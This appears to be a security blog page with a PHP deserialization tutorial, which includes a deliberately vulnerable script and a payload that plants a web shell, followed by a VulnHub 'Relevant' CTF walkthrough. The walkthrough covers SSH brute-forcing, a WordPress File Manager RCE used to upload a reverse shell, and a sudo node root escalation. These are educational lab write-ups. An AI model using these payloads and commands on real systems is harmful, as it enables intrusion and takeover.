Categories
Hacking Security Tutorials

PHP Deserialization

Exploiting it to gain remote code execution

PHP Deserialization is not something that I have much experience of, but having done a CTF recently which required me to exploit PHP deserialization to gain remote access, I realised how straight forward it can be. Through this post, I aim to provide a basic example of a deserialization to RCE exploit for those who aren’t familiar.

Before I share an example, let’s first review what serialization and deserialization mean. This write up assumes you have a very high level understanding of object orientation in programming languages.

What is serialization?

Put simply, serialization is a way to turn an object into a string. For example, you may have a user object in PHP that needs to be transmitted over the network to a users web browser, so that client side scripting such as JavaScript can handle the object, and read the properties of the object.

Essentially, serialization turns the PHP object into a string, ready for transmitting over a network.

What is deserializastion?

Deserialization is very simply the opposite of serialization. It turns a serialized string back into an object.

A vulnerable PHP Script (vuln.php)

I don’t claim to be an expert in serialization so there may well be other methods which I’m not covering, but I hope to show you an example where it is possible to gain Remote Code Execution.

Consider the following vulnerable code which writes the current time to a text file.

<?php

$getVar = $_GET['update'];

class timeUpdate
{
	public $currentTime = '';
        public $outputFile = 'time.txt';

        public function changeTime()
        {
                echo 'The time in the file will be updated imminently.';
        }


        public function __destruct()
        {
		file_put_contents('/home/bootlesshacker/' . $this->outputFile, $this->currentTime);
        }
}


$timeobject = unserialize($getVar);

$example = new timeUpdate;
$example->currentTime = date("F j, Y, g:i a");
$example->changeTime();


?>

Before we try and work out how to exploit this, let’s understand how this works. The PHP file contains a class called timeUpdate. At the bottom of the script, a new object is created ($example) using the timeUpdate class. The currentTime attribute is then set, and the changeTime function is called. The changeTime function simply echoes a message to advise the time in the file will be updated imminently.

The __destruct() function is then called which writes the contents of the current time to the file stored in the $this->outputFile variable – the reason this function executes is because the script has come to an end and the destruct function is called for any required cleanup activity (or, in this case, to write the current time to the required file).

But how can we exploit this?

You may also notice the file contains a line which uses the unserialize function to unserialize a HTTP GET variable ($_GET[‘update’]). Therefore, if we pass a serialized object string to that GET variable, it will unserialize it and the $timeobject will become the object we pass in via that GET variable.

We can exploit this by creating a timeUpdate object locally on our computer.

Let’s create a PHP file on our own computer to create our object.

<?php

class timeUpdate {
	public $currentTime = '<?php system($_GET["cmd"]); ?>';
	public $outputFile = 'shell.php';

}

echo urlencode(serialize(new timeUpdate));

?>

When we run this file, it creates a new timeUpdate object, sets the currentTime variable to our payload, sets the output file name as shell.php, and then serializes this new object into a string. It then puts this serialized string into the urlencode function.

If we then visit the vulnerable PHP file passing the above value in via the GET parameter, it will create a new file called shell.php with our payload.

http://vulnerable-website.fake/vuln.php?update=OUTPUT FROM OUR SCRIPT

This works because as the vulnerable PHP script executes, it takes our GET parameter, unserializes our object (thereby creating our object within the context of the PHP script). As the script comes to an end, the destruct function for our new object is then called. This creates the new file called shell.php and inserts our payload which we can then use to get remote code execution:

This is a very basic example of exploiting PHP deserialization. The script you come across will likely have a different function, and you will need to identify what the script is doing in order to assess for any serialization vulnerabilities. I hope though this provides a small insight if you’ve not come across this before.

Categories
Walkthroughs

Relevant – CTF Walkthrough

It’s been a while since I’ve done a CTF from VulnHub. Life has been busy but I’ve also been doing a few boxes on Offensive Security Proving Grounds. I’ve cancelled my subscription for now though as I still think it needs a bit of work unfortunately before it fully competes with Hack The Box or Try Hack Me, but I’ll give it another go in the future.

Anyway, here is my experience rooting the Relevant CTF.

Initial Enumeration

I started off with an NMAP scan. This identified two open ports.

nmap -p- 192.168.56.102

The open ports were SSH (22), and HTTP (80).

I figured the web server running on port 80 was probably more interesting than the SSH server, so I loaded up my browser and visited the main page.

Main page for Relevant CTF

This showed a database connection error with a message indicating that the website had been compromised already. As you can see, there were three links. I visited the first link, and was directed to a YouTube video which was a cover for “Never Gonna Give You Up” by Rick Astley. Two minutes into the CTF challenge and I’ve already been Rickrolled. Thanks for that.

Never Gonna Give you Up – By Rick Astley (a cappella cover)

After being rickrolled, I visited the second link which appeared to be a dump of credentials on PasteBin.

I saved the users from this dump into /tmp/users.txt, and the passwords in /tmp/passwd.txt. Given we know the SSH service is running on port 22, I decided to use Hydra to brute force SSH.

hydra -l /tmp/users.txt -p /tmp/passwd.txt ssh://192.168.56.102

Unfortunately, this returned no valid SSH credentials.

I moved onto the final link, which appeared to be a QR code.

I found a website where you can decode QR codes. This showed that the raw text contained within the QR code started with “otpauth://”.

I recognised this prefix – this is a One Time Passcode key used to generate one time passcodes. You can therefore scan this QR code using an app such as Google Authenticator which will then generate a one time passcode every 30 seconds or so. I didn’t know what I needed this OTP key for, but kept it for reference in case I needed it further into the CTF challenge.

GoBuster

As mentioned in one of my previous CTF walk-through articles, I’ve created my own script (called OTT) which rather simply runs GoBuster commands against a set of wordlists. This saves me time writing out the GoBuster commands and checks against various wordlists saving a lot of time. To run the command below, you will need to download the OTT script or instead use GoBuster.

ott http://192.168.56.102/ 50

This revealed a few directories such as wp-admin and wp-content revealing this is probably a WordPress website. We know we can use a tool called WPScan to check for vulnerable WordPress versions, plugins, and themes. I suspected that I may run into challenges with this given the front page of the website is showing a database connection error.

wpscan --url http://192.168.56.102 -e at,ap,u --api-token REDACTED

I ran this command which immediately halted the scan as it did not detect a WordPress installation. I suspected this may be due to the database being offline or the modified front page.

A quick check of the man pages for wpscan (man wpscan) identified you can use the –force option to skip wpscan checking whether we are targeting a WordPress website or not. I appended this option to the command, and the scan started running. It identified the WordPress version quite quickly and started scanning for themes and plugins, but it did not find anything vulnerable.

I noticed that WPScan only appeared to be using ‘passive methods’ for plugin enumeration, even though ‘themes’ were being scanned aggressively. I looked at the man pages for WPScan again and worked out that you can add an option to your command to scan plugins aggressively (–plugins-detection aggressive). I added this option to my command and ran it again; after letting the scan run for some time, it identified a vulnerable plugin called File Manager. The vulnerability type was Remote Code Execution.

I recall seeing about this vulnerability in recent news. It’s a very popular WordPress plugin so it gained a lot of attention when this vulnerability was identified.

I visited the first URL WPScan suggested for information.

https://wpvulndb.com/vulnerabilities/10389

This page had a proof of concept script. It appears the script uploads a file called ‘payload.php’ to the web server. I therefore downloaded the Pentestmonkey PHP Reverse Shell and renamed it to payload.php to upload my own payload.

python3 2020-wp-file-manager-v67.py http://192.168.56.102/

I executed the script which uploaded the file successfully.

The file path it gave me though returned a 404 error, so I had to do a bit of digging to find out where the files were actually saved. The correct path is /wp-content/plugins/wp-file-manager/lib/files/payload.php.

I span up my listener using Netcat, visited the payload.php file, and had a shell. As always, I spawned a tty shell using python.

python3.8 -c 'import pty; pty.spawn("/bin/bash")'

We have a shell

Now I had a shell, I needed to work out how to escalate my privileges. Sometimes, you can escalate directly to root. Other times, you have to pivot to another user on the system before being able to get root access.

At this stage, I didn’t know what I would need to escalate my privileges. I started to run a few basic checks.

  • Sudo commands (sudo -l) – this revealed no commands I could run
  • SUID Checks (find / -perm -u=s -type f 2>/dev/null) – this revealed no interesting binaries with the SUID bit set.
  • Loading pspy on the system to check if any cron jobs were running

These checks revealed nothing of use, so I proceeded to check /etc/passwd and review the /home directory to see what users were on the system.

The home directory showed a few user folders. I had a look around each one. I observed two things:

  • The ‘patsy’ user had a file called .google_authenticator – this was interesting given we already had a key for generating OTP’s. Perhaps we need to pivot to this user?
  • The ‘relevant’ user had a file called .sudo_as_admin_successful – could this indicate this user has sudo access? Perhaps this was the user we needed to pivot to?

I needed to find a way to pivot to one of these users. I decided to check for files the three users owned to see if that could assist me with the pivoting.

find / -user h4x0r

This identified something of interest which I didn’t spot when enumerating this user folder initially.

Can you spot it? The user has a file called ‘note.txt’ which seems to be well hidden.

I output the file using my shell, which showed a user and password hash. I didn’t spot the ‘news’ user in my initial checks but I double checked the passwd file on the system and confirmed the user ‘news’ did indeed exist.

I input the hash into https://crackstation.net/ which revealed the password. I was then able to switch user using the su command and the newly unhashed password.

Getting root

Once I successfully switched to the ‘news’ user, I decided to run a few standard checks again. I started by checking which commands the user could run using sudo (sudo -l).

This revealed /usr/bin/node.

I’ve not seen this binary before, but a quick check of GTFOBins revealed I could run a simple command to escalate to root.

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'

I ran this command, which elevated my permissions straight to the root user.

I enjoyed this CTF – I didn’t find it too challenging but it was fun to see a few different things I haven’t come across before. Thanks to @iamv1nc3nt for the CTF!

By the way, I didn’t end up using the One Time Passcode, which makes me wonder if this box has alternative routes? Who knows…